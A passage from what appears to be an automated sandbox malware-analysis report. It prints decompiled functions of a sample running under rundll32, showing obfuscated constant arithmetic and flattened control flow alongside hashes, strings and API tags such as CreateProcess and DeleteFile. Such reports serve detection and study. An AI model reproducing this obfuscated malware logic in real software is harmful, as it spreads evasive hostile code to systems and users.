						}
						__eflags = _t218 - 0xfe64653;
						if(_t218 != 0xfe64653) {
							break;
						}
						_t215 = E029E3231(_v552, _v540, _v604); // executed
						_t241 = _t215;
						_t244 =  &(_t244[3]);
						__eflags = _t215;
						if(__eflags == 0) {
							_t218 = 0xa4a05;
						} else {
							 *((intOrPtr*)( *0x29e5bd8 + 0x444)) = 1;
							_t218 = 0x62f4efd;
						}
					}
					__eflags = _t218 - 0x5333664;
				} while (__eflags != 0);
				goto L23;
			}

0x029d56a9
0x029d56af
0x029d56b9
0x029d56be
0x029d56c3
0x029d56c8
0x029d56d0
0x029d56d8
0x029d56dd
0x029d56e5
0x029d56ed
0x029d56f5
0x029d56fd
0x029d5705
0x029d570d
0x029d5712
0x029d571a
0x029d5722
0x029d572c
0x029d5731
0x029d5737
0x029d573b
0x029d5742
0x029d5745
0x029d5749
0x029d5751
0x029d5759
0x029d575e
0x029d5766
0x029d576e
0x029d577b
0x029d5784
0x029d5788
0x029d578d
0x029d5795
0x029d579d
0x029d57a5
0x029d57aa
0x029d57af
0x029d57b7
0x029d57bf
0x029d57c7
0x029d57cf
0x029d57d7
0x029d57df
0x029d57e7
0x029d57ef
0x029d57f7
0x029d57ff
0x029d5807
0x029d580f
0x029d581f
0x029d5823
0x029d5828
0x029d582d
0x029d5835
0x029d583d
0x029d5845
0x029d584d
0x029d5855
0x029d585e
0x029d5861
0x029d5865
0x029d586a
0x029d5872
0x029d587f
0x029d588c
0x029d5894
0x029d589c
0x029d58a9
0x029d58ad
0x029d58b1
0x029d58b5
0x029d58bd
0x029d58c5
0x029d58cd
0x029d58d2
0x029d58da
0x029d58e7
0x029d58eb
0x029d58f3
0x029d58f8
0x029d5900
0x029d5908
0x029d5915
0x029d5919
0x029d5921
0x029d5929
0x029d5936
0x029d593a
0x029d5942
0x029d5942
0x029d594a
0x029d594a
0x029d594a
0x029d594a
0x029d594c
0x00000000
0x00000000
0x029d5952
0x029d5952
0x029d59b3
0x029d59dc
0x029d59e1
0x029d59e4
0x029d59e9
0x029d59ed
0x029d59ee
0x029d594a
0x029d594a
0x029d594a
0x029d594c
0x00000000
0x00000000
0x00000000
0x029d594c
0x00000000
0x029d594a
0x029d5956
0x029d59ab
0x029d59af
0x029d59af
0x00000000
0x029d59af
0x029d595e
0x029d5994
0x029d599b
0x029d59a0
0x00000000
0x029d59a0
0x029d5966
0x029d5a89
0x029d5aa8
0x029d5aac
0x029d5ab7
0x029d5ab7
0x029d5972
0x00000000
0x00000000
0x029d597c
0x029d5981
0x00000000
0x029d59f6
0x029d59f6
0x029d59fc
0x029d5a5c
0x029d5a61
0x00000000
0x029d5a61
0x029d59fe
0x029d5a04
0x029d5a51
0x00000000
0x029d5a56
0x029d5a06
0x029d5a0c
0x00000000
0x00000000
0x029d5a1a
0x029d5a1f
0x029d5a21
0x029d5a24
0x029d5a26
0x029d5a40
0x029d5a28
0x029d5a30
0x029d5a36
0x029d5a36
0x029d5a26
0x029d5a66
0x029d5a66
0x00000000

Strings

(j], xrefs: 029D5722
]t, xrefs: 029D58BD
WQ, xrefs: 029D57BF
,d, xrefs: 029D5908
W, xrefs: 029D56F5

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: (j]$,d$WQ$W$]t
API String ID: 0-3511903769
Opcode ID: bafcc97344c9bd9607cc47616b0169c5f7ab83146a4c1088044b87409ddfade8
Instruction ID: 90387ec9b545664b0a5c4b79b677d9b50cf45d39cb3bc33fc7228ca13dc54dab
Opcode Fuzzy Hash: bafcc97344c9bd9607cc47616b0169c5f7ab83146a4c1088044b87409ddfade8
Instruction Fuzzy Hash: F1A120711083809FC358CF25D48A91FBBE2FBC4758F909A1DF59A9A260C3B58A49DF47

Uniqueness

Uniqueness Score: -1.00%

Function 029E06EF, Relevance: 6.5, Strings: 5, Instructions: 204
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E029E06EF(void* __edx, void* __eflags) {
				void* _t221;
				void* _t245;
				void* _t246;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				intOrPtr _t279;
				signed int _t282;
				intOrPtr _t283;
				void* _t286;
				void* _t287;

				_t286 = _t287 - 0x58;
				_push( *((intOrPtr*)(_t286 + 0x7c)));
				_t279 =  *((intOrPtr*)(_t286 + 0x60));
				_push( *((intOrPtr*)(_t286 + 0x78)));
				_push( *((intOrPtr*)(_t286 + 0x74)));
				_push( *((intOrPtr*)(_t286 + 0x70)));
				_push( *((intOrPtr*)(_t286 + 0x6c)));
				_push( *((intOrPtr*)(_t286 + 0x68)));
				_push( *((intOrPtr*)(_t286 + 0x64)));
				_push(_t279);
				_push(__edx);
				_push(0);
				E029C8002(_t221);
				 *(_t286 + 0x30) = 0xae5cb5;
				_t282 = 0x12;
				 *(_t286 + 0x30) =  *(_t286 + 0x30) / _t282;
				 *(_t286 + 0x30) =  *(_t286 + 0x30) >> 0xe;
				 *(_t286 + 0x30) =  *(_t286 + 0x30) ^ 0x0007dbae;
				 *(_t286 + 0x50) = 0x2a4860;
				 *(_t286 + 0x50) =  *(_t286 + 0x50) << 0xa;
				 *(_t286 + 0x50) =  *(_t286 + 0x50) + 0xffff2670;
				 *(_t286 + 0x50) =  *(_t286 + 0x50) << 0x10;
				 *(_t286 + 0x50) =  *(_t286 + 0x50) ^ 0xa6749b11;
				 *(_t286 + 0x10) = 0x7e5558;
				 *(_t286 + 0x10) =  *(_t286 + 0x10) | 0xc0b3fae3;
				 *(_t286 + 0x10) =  *(_t286 + 0x10) ^ 0xc0f50834;
				 *(_t286 + 0x1c) = 0x716d53;
				_t250 = 0x3b;
				 *(_t286 + 0x1c) =  *(_t286 + 0x1c) / _t250;
				_t251 = 0x2e;
				 *(_t286 + 0x1c) =  *(_t286 + 0x1c) * 0x66;
				 *(_t286 + 0x1c) =  *(_t286 + 0x1c) ^ 0x00c04457;
				 *(_t286 + 0xc) = 0x15fb22;
				 *(_t286 + 0xc) =  *(_t286 + 0xc) / _t251;
				 *(_t286 + 0xc) =  *(_t286 + 0xc) ^ 0x0001b0c7;
				 *(_t286 + 0x4c) = 0xd9275d;
				 *(_t286 + 0x4c) =  *(_t286 + 0x4c) >> 0xe;
				 *(_t286 + 0x4c) =  *(_t286 + 0x4c) >> 2;
				 *(_t286 + 0x4c) =  *(_t286 + 0x4c) >> 7;
				 *(_t286 + 0x4c) =  *(_t286 + 0x4c) ^ 0x0007ce43;
				 *(_t286 + 8) = 0xe69b69;
				 *(_t286 + 8) =  *(_t286 + 8) + 0xffffdf4e;
				 *(_t286 + 8) =  *(_t286 + 8) ^ 0x00e378a4;
				 *(_t286 + 0x54) = 0x472a7c;
				 *(_t286 + 0x54) =  *(_t286 + 0x54) / _t282;
				_t252 = 0x7a;
				 *(_t286 + 0x54) =  *(_t286 + 0x54) / _t252;
				 *(_t286 + 0x54) =  *(_t286 + 0x54) >> 0xe;
				 *(_t286 + 0x54) =  *(_t286 + 0x54) ^ 0x000a567e;
				 *(_t286 + 0x18) = 0x15d0d4;
				 *(_t286 + 0x18) =  *(_t286 + 0x18) ^ 0xfb01127a;
				_t253 = 0x54;
				 *(_t286 + 0x18) =  *(_t286 + 0x18) / _t253;
				 *(_t286 + 0x18) =  *(_t286 + 0x18) ^ 0x02f69057;
				 *(_t286 + 0x38) = 0x4b4447;
				 *(_t286 + 0x38) =  *(_t286 + 0x38) ^ 0xb7c78532;
				 *(_t286 + 0x38) =  *(_t286 + 0x38) << 0xe;
				 *(_t286 + 0x38) =  *(_t286 + 0x38) + 0xffff35f2;
				 *(_t286 + 0x38) =  *(_t286 + 0x38) ^ 0x3053831a;
				 *(_t286 + 0x48) = 0xf703a9;
				 *(_t286 + 0x48) =  *(_t286 + 0x48) << 0xe;
				_t254 = 0x65;
				 *(_t286 + 0x48) =  *(_t286 + 0x48) * 0x7c;
				 *(_t286 + 0x48) =  *(_t286 + 0x48) * 0x3f;
				 *(_t286 + 0x48) =  *(_t286 + 0x48) ^ 0xec445ec1;
				 *(_t286 + 0x14) = 0xf7c42;
				 *(_t286 + 0x14) =  *(_t286 + 0x14) << 0xc;
				 *(_t286 + 0x14) =  *(_t286 + 0x14) + 0xda44;
				 *(_t286 + 0x14) =  *(_t286 + 0x14) ^ 0xf7cba48a;
				 *(_t286 + 0x40) = 0x55abe8;
				 *(_t286 + 0x40) =  *(_t286 + 0x40) + 0xffff52a1;
				 *(_t286 + 0x40) =  *(_t286 + 0x40) + 0xffff6d4f;
				 *(_t286 + 0x40) =  *(_t286 + 0x40) ^ 0x6debb26a;
				 *(_t286 + 0x40) =  *(_t286 + 0x40) ^ 0x6dbbba76;
				 *(_t286 + 0x24) = 0xc4281e;
				 *(_t286 + 0x24) =  *(_t286 + 0x24) * 0x3f;
				 *(_t286 + 0x24) =  *(_t286 + 0x24) ^ 0x3d6d1371;
				 *(_t286 + 0x24) =  *(_t286 + 0x24) ^ 0x0d259922;
				 *(_t286 + 0x44) = 0xe58208;
				 *(_t286 + 0x44) =  *(_t286 + 0x44) >> 0x10;
				 *(_t286 + 0x44) =  *(_t286 + 0x44) + 0xffffa4d5;
				 *(_t286 + 0x44) =  *(_t286 + 0x44) >> 2;
				 *(_t286 + 0x44) =  *(_t286 + 0x44) ^ 0x3ff9a913;
				 *(_t286 + 0x2c) = 0xa86a75;
				 *(_t286 + 0x2c) =  *(_t286 + 0x2c) + 0x715d;
				 *(_t286 + 0x2c) =  *(_t286 + 0x2c) >> 0xc;
				 *(_t286 + 0x2c) =  *(_t286 + 0x2c) ^ 0x000f820b;
				 *(_t286 + 0x20) = 0x3cad47;
				 *(_t286 + 0x20) =  *(_t286 + 0x20) | 0xa7e75625;
				 *(_t286 + 0x20) =  *(_t286 + 0x20) ^ 0x187d65b0;
				 *(_t286 + 0x20) =  *(_t286 + 0x20) ^ 0xbf899c0b;
				 *(_t286 + 0x34) = 0x87aa30;
				 *(_t286 + 0x34) =  *(_t286 + 0x34) / _t254;
				_t168 = _t286 - 0x4c; // 0x58cc7
				 *(_t286 + 0x34) =  *(_t286 + 0x34) << 5;
				 *(_t286 + 0x34) =  *(_t286 + 0x34) + 0xffff2e98;
				 *(_t286 + 0x34) =  *(_t286 + 0x34) ^ 0x0026e7ba;
				 *(_t286 + 0x28) = 0xa6fdde;
				 *(_t286 + 0x28) =  *(_t286 + 0x28) + 0x2ea;
				 *(_t286 + 0x28) =  *(_t286 + 0x28) ^ 0xe521b570;
				 *(_t286 + 0x28) =  *(_t286 + 0x28) ^ 0xe582ae49;
				 *(_t286 + 0x3c) = 0x162e5f;
				 *(_t286 + 0x3c) =  *(_t286 + 0x3c) ^ 0x576ff7b3;
				 *(_t286 + 0x3c) =  *(_t286 + 0x3c) >> 0x10;
				 *(_t286 + 0x3c) =  *(_t286 + 0x3c) | 0xa672cc01;
				 *(_t286 + 0x3c) =  *(_t286 + 0x3c) ^ 0xa67e9038;
				_push( *(_t286 + 0x1c));
				_t283 = 0x44;
				_push(_t283);
				_push( *(_t286 + 0x10));
				_t255 =  *(_t286 + 0x30);
				E029C3965( *(_t286 + 0x30),  *(_t286 + 0x50));
				 *((intOrPtr*)(_t286 - 0x4c)) = _t283;
				_t196 = _t286 - 0x4c; // 0x58cc7
				_t208 = _t286 - 8; // 0x58d0b
				_t245 = E029D9100( *(_t286 + 0xc),  *((intOrPtr*)(_t286 + 0x74)),  *(_t286 + 0x30),  *((intOrPtr*)(_t286 + 0x78)), _t255, _t208,  *(_t286 + 0x4c),  *(_t286 + 8),  *(_t286 + 0x54), _t255,  *(_t286 + 0x18), _t196,  *(_t286 + 0x38),  *((intOrPtr*)(_t286 + 0x64)),  *(_t286 + 0x48),  *(_t286 + 0x14),  *(_t286 + 0x40),  *(_t286 + 0x24)); // executed
				if(_t245 == 0) {
					_t246 = 0;
				} else {
					if(_t279 == 0) {
						E029D9038( *(_t286 + 0x44),  *(_t286 + 0x2c),  *((intOrPtr*)(_t286 - 8)),  *(_t286 + 0x20));
						E029D9038( *(_t286 + 0x34),  *(_t286 + 0x28),  *((intOrPtr*)(_t286 - 4)),  *(_t286 + 0x3c));
					} else {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
					}
					_t246 = 1;
				}
				return _t246;
			}

0x029e06f0
0x029e06fc
0x029e06ff
0x029e0702
0x029e0705
0x029e0708
0x029e070b
0x029e070e
0x029e0711
0x029e0714
0x029e0715
0x029e0716
0x029e0718
0x029e071d
0x029e072b
0x029e0730
0x029e0733
0x029e0737
0x029e073e
0x029e0745
0x029e0749
0x029e0750
0x029e0754
0x029e075b
0x029e0762
0x029e0769
0x029e0770
0x029e077c
0x029e0781
0x029e078a
0x029e078d
0x029e0790
0x029e0797
0x029e07a5
0x029e07a8
0x029e07af
0x029e07b6
0x029e07ba
0x029e07be
0x029e07c2
0x029e07c9
0x029e07d0
0x029e07d7
0x029e07de
0x029e07ec
0x029e07f2
0x029e07f7
0x029e07fc
0x029e0800
0x029e0807
0x029e080e
0x029e0818
0x029e081b
0x029e081e
0x029e0825
0x029e082c
0x029e0833
0x029e0839
0x029e0840
0x029e0847
0x029e084e
0x029e0858
0x029e0859
0x029e0860
0x029e0863
0x029e086a
0x029e0871
0x029e0875
0x029e087c
0x029e0883
0x029e088a
0x029e0891
0x029e0898
0x029e089f
0x029e08a6
0x029e08b1
0x029e08b4
0x029e08bb
0x029e08c2
0x029e08c9
0x029e08cd
0x029e08d4
0x029e08d8
0x029e08df
0x029e08e6
0x029e08ed
0x029e08f1
0x029e08f8
0x029e08ff
0x029e0906
0x029e090d
0x029e0914
0x029e0920
0x029e0923
0x029e0926
0x029e092a
0x029e0931
0x029e0938
0x029e093f
0x029e0946
0x029e094d
0x029e0954
0x029e095b
0x029e0962
0x029e0966
0x029e096d
0x029e0974
0x029e0979
0x029e097a
0x029e097b
0x029e0981
0x029e0985
0x029e098d
0x029e0990
0x029e09b6
0x029e09c2
0x029e09cc
0x029e0a05
0x029e09ce
0x029e09d0
0x029e09ea
0x029e09fb
0x029e09d2
0x029e09d5
0x029e09d6
0x029e09d7
0x029e09d8
0x029e09d8
0x029e09db
0x029e09db
0x029e0a0d

Strings

XU~, xrefs: 029E075B
~V, xrefs: 029E0800
`H*, xrefs: 029E073E
Smq, xrefs: 029E0770
GDK, xrefs: 029E0825

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: GDK$Smq$XU~$`H*$~V
API String ID: 963392458-3650479097
Opcode ID: 8eaea1f2bb953cf8639a97737ef584c20c2f7cdf50b262a7e43e67f19b83e528
Instruction ID: fb901bc9c835fc157a3f28d29935b8d62abcb2015938d22168afad8e5186ed7b
Opcode Fuzzy Hash: 8eaea1f2bb953cf8639a97737ef584c20c2f7cdf50b262a7e43e67f19b83e528
Instruction Fuzzy Hash: 20A1F07250024CEBDF59DFA5D94A9CE3BA2FF48358F108119FE1A96260D3B6C959CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F1290, Relevance: 3.9, APIs: 3, Instructions: 137memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BE96
Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BEB4
Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BECD
Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BECF
Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BED6
Part of subcall function 6EA0BE60: GetTickCount64.KERNEL32 ref: 6EA0BEF4

GetProcessHeap.KERNEL32 ref: 6E9F1333
HeapAlloc.KERNEL32(02F30000,00000000,00023800), ref: 6E9F134D
HeapFree.KERNEL32(00000000), ref: 6E9F1437

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 00edae4ecb59425502f453640799d10a526a552c2aa048d22635d9d4a4f7079e
Instruction ID: 7a1f6e19137b93c9da0dfdf5e3cd1a0c17f4f91db04d1292c72893fe9a5d539a
Opcode Fuzzy Hash: 00edae4ecb59425502f453640799d10a526a552c2aa048d22635d9d4a4f7079e
Instruction Fuzzy Hash: 7D51E2B4900B408BD320CF69D940A92B7F8FF49318F108A2DE8D68BA91D734F549CB84

Uniqueness

Uniqueness Score: -1.00%

Function 029C2B7C, Relevance: 3.8, Strings: 3, Instructions: 73
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E029C2B7C(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _t83;
				signed int _t99;
				signed int _t100;

				_v32 = 0xc012d8;
				_v32 = _v32 * 0x57;
				_v32 = _v32 ^ 0x414c7722;
				_v8 = 0x71db3a;
				_v8 = _v8 + 0x28cf;
				_v8 = _v8 << 7;
				_t99 = 0x45;
				_v8 = _v8 / _t99;
				_v8 = _v8 ^ 0x00d242cb;
				_v20 = 0x84d3a8;
				_v20 = _v20 | 0xc662b501;
				_v20 = _v20 + 0xffffa2b0;
				_v20 = _v20 ^ 0xc6eb6d2b;
				_v36 = 0x57c5dc;
				_v36 = _v36 ^ 0x2b870871;
				_v36 = _v36 ^ 0x2bdb2655;
				_v12 = 0x7572b1;
				_v12 = _v12 ^ 0x2538ae01;
				_t100 = 0x36;
				_push(__ecx);
				_v12 = _v12 / _t100;
				_v12 = _v12 ^ 0x26a37800;
				_v12 = _v12 ^ 0x261d7300;
				_v16 = 0xdca4ae;
				_v16 = _v16 + 0xffffc7c0;
				_v16 = _v16 ^ 0x64c39708;
				_v16 = _v16 + 0x2ae8;
				_v16 = _v16 ^ 0x642df80e;
				_v28 = 0x14af44;
				_v28 = _v28 ^ 0x05e5466e;
				_v28 = _v28 + 0xd71e;
				_v28 = _v28 ^ 0x05ff9e42;
				_v24 = 0x51765c;
				_v24 = _v24 | 0x8d703836;
				_v24 = _v24 + 0xffff04f0;
				_v24 = _v24 ^ 0x8d7eb914;
				_t83 = E029C7C11(_v20, E029E0AD3(_v32, _v8, _v24), _v36, _v12); // executed
				 *((intOrPtr*)( *0x29e5210 + __edx * 4)) = _t83;
				return E029D2EED(_v16, _v28, _v24, _t82);
			}

0x029c2b82
0x029c2b95
0x029c2b98
0x029c2b9f
0x029c2ba6
0x029c2bad
0x029c2bb4
0x029c2bb9
0x029c2bbe
0x029c2bc5
0x029c2bcc
0x029c2bd3
0x029c2bda
0x029c2be1
0x029c2be8
0x029c2bef
0x029c2bf6
0x029c2bfd
0x029c2c07
0x029c2c0a
0x029c2c0b
0x029c2c0e
0x029c2c15
0x029c2c1c
0x029c2c23
0x029c2c2a
0x029c2c31
0x029c2c38
0x029c2c3f
0x029c2c46
0x029c2c4d
0x029c2c54
0x029c2c5b
0x029c2c62
0x029c2c69
0x029c2c70
0x029c2c8f
0x029c2ca1
0x029c2cb4

Strings

"wLA, xrefs: 029C2B98
*, xrefs: 029C2C31
\vQ, xrefs: 029C2C5B

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: "wLA$\vQ$*
API String ID: 1029625771-1256145968
Opcode ID: 92e485f0b3820065ab5411151812892693ed94459cd8b7009cff04f1fc53d887
Instruction ID: 7dc15ed6213a00e519a55d1e8ed98bd7ca2c924cb866e27b0ba7b8b12e5e6af0
Opcode Fuzzy Hash: 92e485f0b3820065ab5411151812892693ed94459cd8b7009cff04f1fc53d887
Instruction Fuzzy Hash: 953101B1D0021AEBCF08CFA5D98A4EEBFB1FB44318F208198D516B6260D3B41A05DF91

Uniqueness

Uniqueness Score: -1.00%

Function 029CAEB9, Relevance: 2.6, Strings: 2, Instructions: 100
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E029CAEB9(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v568;
				void* _t103;
				void* _t117;
				signed int _t119;
				signed int _t120;
				signed int _t121;

				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t103);
				_v24 = 0xe40799;
				_v24 = _v24 + 0xe350;
				_v24 = _v24 ^ 0xb55488c8;
				_v24 = _v24 ^ 0xb5bcf8c9;
				_v32 = 0x74d0d;
				_v32 = _v32 >> 5;
				_v32 = _v32 << 0xc;
				_v32 = _v32 ^ 0x03a0d0f1;
				_v40 = 0x2cbb43;
				_v40 = _v40 >> 4;
				_v40 = _v40 ^ 0x000bbe1a;
				_v8 = 0x71d3d2;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 | 0xa9f6eb6e;
				_v8 = _v8 + 0xffff1dec;
				_v8 = _v8 ^ 0xa9f53cc1;
				_v16 = 0x775879;
				_t119 = 0x5f;
				_v16 = _v16 / _t119;
				_v16 = _v16 + 0xffff6519;
				_v16 = _v16 ^ 0x0005e056;
				_v36 = 0xe531b5;
				_v36 = _v36 + 0xffffeea7;
				_v36 = _v36 + 0x4b6b;
				_v36 = _v36 ^ 0x00e49336;
				_v28 = 0x3d1244;
				_v28 = _v28 << 8;
				_v28 = _v28 | 0xaa7e233b;
				_v28 = _v28 ^ 0xbf739eb3;
				_v44 = 0x7bfbfc;
				_t120 = 0x13;
				_v44 = _v44 * 0x58;
				_v44 = _v44 ^ 0x2a9de309;
				_v48 = 0x98805a;
				_v48 = _v48 | 0x3fafe088;
				_v48 = _v48 ^ 0x3fbd5308;
				_v20 = 0xbd6808;
				_v20 = _v20 + 0x1da4;
				_v20 = _v20 ^ 0x5c95dc72;
				_v20 = _v20 ^ 0x5c21e9e3;
				_v12 = 0xd50a44;
				_v12 = _v12 * 0x18;
				_v12 = _v12 / _t120;
				_t121 = 0xa;
				_push(0x29c10fc);
				_v12 = _v12 / _t121;
				_v12 = _v12 ^ 0x00109e37;
				E029D8804(_v40, _v12,  &_v568, _v8, E029E0AD3(_v24, _v32, _v12), _v16, _v36, __ecx);
				E029D2EED(_v28, _v44, _v48, _t113);
				_t117 = E029C55C0(_v20,  &_v568, _v12); // executed
				return _t117;
			}

0x029caec4
0x029caec9
0x029caecc
0x029caecd
0x029caece
0x029caed3
0x029caedc
0x029caee3
0x029caeea
0x029caef1
0x029caef8
0x029caefc
0x029caf00
0x029caf07
0x029caf0e
0x029caf12
0x029caf19
0x029caf20
0x029caf24
0x029caf2b
0x029caf32
0x029caf39
0x029caf45
0x029caf4a
0x029caf4f
0x029caf56
0x029caf5d
0x029caf64
0x029caf6b
0x029caf72
0x029caf79
0x029caf80
0x029caf84
0x029caf8b
0x029caf92
0x029caf9d
0x029cafa0
0x029cafa3
0x029cafaa
0x029cafb1
0x029cafb8
0x029cafbf
0x029cafc6
0x029cafcd
0x029cafd4
0x029cafdb
0x029cafe6
0x029caff0
0x029caff6
0x029caff9
0x029caffe
0x029cb001
0x029cb02a
0x029cb039
0x029cb04a
0x029cb057

Strings

!\, xrefs: 029CAFD4
yXw, xrefs: 029CAF39

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: yXw$!\
API String ID: 4033686569-755724215
Opcode ID: 4fb729442c4f5bc5b13e36da877c5ff559ebe0f22754c554b5e5e06746100051
Instruction ID: cc40d11634744c698e30dd8a2dd8d82285888e0e946d042f78cf87a1abc304b0
Opcode Fuzzy Hash: 4fb729442c4f5bc5b13e36da877c5ff559ebe0f22754c554b5e5e06746100051
Instruction Fuzzy Hash: E141FF72D0020DEBDF44DFA5C94A8EEBBB6EF84318F208199D415B6260D7B91A55CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 029C8D59, Relevance: 1.4, Strings: 1, Instructions: 191
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029C8D59() {
				char _v520;
				char _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				signed int _v1056;
				signed int _v1060;
				signed int _v1064;
				signed int _v1068;
				signed int _v1072;
				signed int _v1076;
				signed int _v1080;
				signed int _v1084;
				signed int _v1088;
				signed int _v1092;
				signed int _v1096;
				signed int _v1100;
				signed int _v1104;
				signed int _v1108;
				signed int _v1112;
				signed int _v1116;
				signed int _v1120;
				signed int _v1124;
				signed int _v1128;
				void* _t207;
				intOrPtr _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				signed int* _t235;

				_t235 =  &_v1128;
				_v1052 = 0xcea143;
				_v1048 = 0x728789;
				_t207 = 0x7d4f113;
				_t229 = 0;
				_v1044 = 0;
				_v1080 = 0x56b34a;
				_v1080 = _v1080 >> 3;
				_v1080 = _v1080 << 4;
				_v1080 = _v1080 ^ 0x00adc16a;
				_v1104 = 0x309244;
				_t230 = 0x2a;
				_v1104 = _v1104 / _t230;
				_v1104 = _v1104 + 0xffffc4ec;
				_v1104 = _v1104 + 0xffff81fc;
				_v1104 = _v1104 ^ 0x000fc9d9;
				_v1112 = 0xce2375;
				_v1112 = _v1112 >> 5;
				_v1112 = _v1112 + 0xffffdc9d;
				_v1112 = _v1112 + 0x47fd;
				_v1112 = _v1112 ^ 0x0002f8ad;
				_v1088 = 0x3adfad;
				_t231 = 0x69;
				_v1088 = _v1088 * 0x71;
				_v1088 = _v1088 | 0xc8a24b6d;
				_v1088 = _v1088 ^ 0xd9f6d344;
				_v1092 = 0x519ee6;
				_v1092 = _v1092 >> 7;
				_v1092 = _v1092 + 0x7a52;
				_v1092 = _v1092 ^ 0x00056cf1;
				_v1108 = 0x448742;
				_v1108 = _v1108 >> 3;
				_v1108 = _v1108 + 0xfffff249;
				_v1108 = _v1108 >> 0xb;
				_v1108 = _v1108 ^ 0x00028fe2;
				_v1056 = 0x8a3049;
				_v1056 = _v1056 >> 5;
				_v1056 = _v1056 ^ 0x00029f4f;
				_v1128 = 0x9631df;
				_v1128 = _v1128 >> 3;
				_v1128 = _v1128 * 0xf;
				_v1128 = _v1128 << 4;
				_v1128 = _v1128 ^ 0x119692fe;
				_v1100 = 0x8e98ac;
				_v1100 = _v1100 + 0x8d27;
				_v1100 = _v1100 / _t231;
				_v1100 = _v1100 << 0xf;
				_v1100 = _v1100 ^ 0xae8de6c5;
				_v1116 = 0xe0ce42;
				_v1116 = _v1116 >> 0x10;
				_v1116 = _v1116 * 0x60;
				_v1116 = _v1116 * 0x35;
				_v1116 = _v1116 ^ 0x00140269;
				_v1120 = 0xf9992d;
				_v1120 = _v1120 + 0xffff174f;
				_v1120 = _v1120 << 3;
				_v1120 = _v1120 << 0xd;
				_v1120 = _v1120 ^ 0xb0722d31;
				_v1076 = 0x1d2de5;
				_v1076 = _v1076 << 7;
				_v1076 = _v1076 >> 7;
				_v1076 = _v1076 ^ 0x00140685;
				_v1060 = 0xc1851e;
				_v1060 = _v1060 ^ 0xb9c08fc0;
				_v1060 = _v1060 ^ 0xb9010347;
				_v1068 = 0x1d4823;
				_v1068 = _v1068 + 0xffff7c84;
				_v1068 = _v1068 ^ 0x0018478f;
				_v1124 = 0xb42c8a;
				_v1124 = _v1124 + 0xfffff084;
				_v1124 = _v1124 + 0xb5bc;
				_t232 = 0x53;
				_v1124 = _v1124 * 0x69;
				_v1124 = _v1124 ^ 0x4a287f8d;
				_v1084 = 0xf22cd2;
				_v1084 = _v1084 << 4;
				_v1084 = _v1084 + 0x9edc;
				_v1084 = _v1084 ^ 0x0f2ff747;
				_v1072 = 0xb7e4;
				_v1072 = _v1072 / _t232;
				_v1072 = _v1072 << 7;
				_v1072 = _v1072 ^ 0x00090200;
				_v1096 = 0xa249d6;
				_v1096 = _v1096 + 0xffff3f1c;
				_v1096 = _v1096 + 0xffff5371;
				_v1096 = _v1096 ^ 0x30aa89b3;
				_v1096 = _v1096 ^ 0x3009f42c;
				_v1064 = 0x834a7a;
				_v1064 = _v1064 >> 1;
				_v1064 = _v1064 ^ 0x004f9e00;
				do {
					while(_t207 != 0x1717058) {
						if(_t207 == 0x253a862) {
							E029C24AA(_t207, _v1080, __eflags,  &_v520, _v1104, _v1112, _v1088);
							_t235 =  &(_t235[4]);
							_t207 = 0x9209cdc;
							continue;
						} else {
							if(_t207 == 0x7d4f113) {
